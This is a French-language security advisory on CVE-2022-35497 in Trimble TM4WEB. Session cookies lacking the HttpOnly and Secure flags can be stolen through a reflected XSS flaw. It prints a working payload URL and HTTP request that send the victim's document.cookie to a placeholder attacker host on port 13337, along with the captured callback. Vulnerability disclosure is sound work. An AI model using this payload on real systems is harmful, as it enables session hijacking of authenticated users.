
Vulnérabilité TM4WEB - CVE-2022-35497
Dans TM4WEB de Trimble <=22.2.0, en raison d'une mauvaise configuration de sécurité des identifiants de session, il est possible de récupérer des cookies de session valides via un cross-site scripting réfléchi affectant le point de terminaison du visualiseur de documents externe.
Plus précisément, les trois cookies utilisés pour maintenir les sessions sont UID, rstring et PHPSESSIONID, aucun d'entre eux ne disposant du flag HttpOnly approprié pour empêcher leur récupération via des vecteurs d'exécution JavaScript.
Étape 1 :
L'attaquant exploite la vulnérabilité de cross-site scripting réfléchi CVE-2022-35499 pour obtenir les cookies de session de la victime authentifiée.
L'attaquant démarre un listener sur un port arbitraire d'un serveur exposé sur Internet capable de recevoir des requêtes HTTP. Cela peut être accompli avec un service comme requestbin, ou simplement en démarrant un listener netcat sur un port arbitraire.
L'URL d'exemple exploite le XSS référencé CVE-2022-35499 pour mener une attaque de détournement de session sur un utilisateur authentifié et envoie les cookies de session de la victime au serveur contrôlé par l'attaquant
(représenté par x.x.x.x au lieu de notre adresse IP dans l'exemple) sur le port 13337
Exemple d'URL malveillante utilisant un site inexistant :
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Cette vulnérabilité n'est possible que parce que les identifiants de session ne sont pas correctement protégés contre ce type d'attaque.
Les trois cookies utilisés pour maintenir les sessions sont :
UID
rstring
PHPSESSIONID
Aucun de ces cookies n'est configuré avec le flag HttpOnly. Cette option de configuration empêcherait que les valeurs des cookies soient accessibles depuis un contexte JavaScript.
De même, ces cookies devraient également avoir le flag SECURE activé, ce qui empêche leur transmission sur un canal non chiffré.
La requête GET malveillante utilisée pour mener l'attaque est présentée ci-dessous, avec l'adresse IP du serveur de l'attaquant omise et remplacée par x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
La requête de rappel résultante que l'attaquant reçoit sur son serveur est présentée ci-dessous, révélant les cookies de session de la victime ajoutés au paramètre ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
IMPACT : les utilisateurs authentifiés peuvent voir leur session et leurs comptes utilisateur détournés par des attaquants exploitant la vulnérabilité XSS réfléchi depuis une position d'attaque non authentifiée.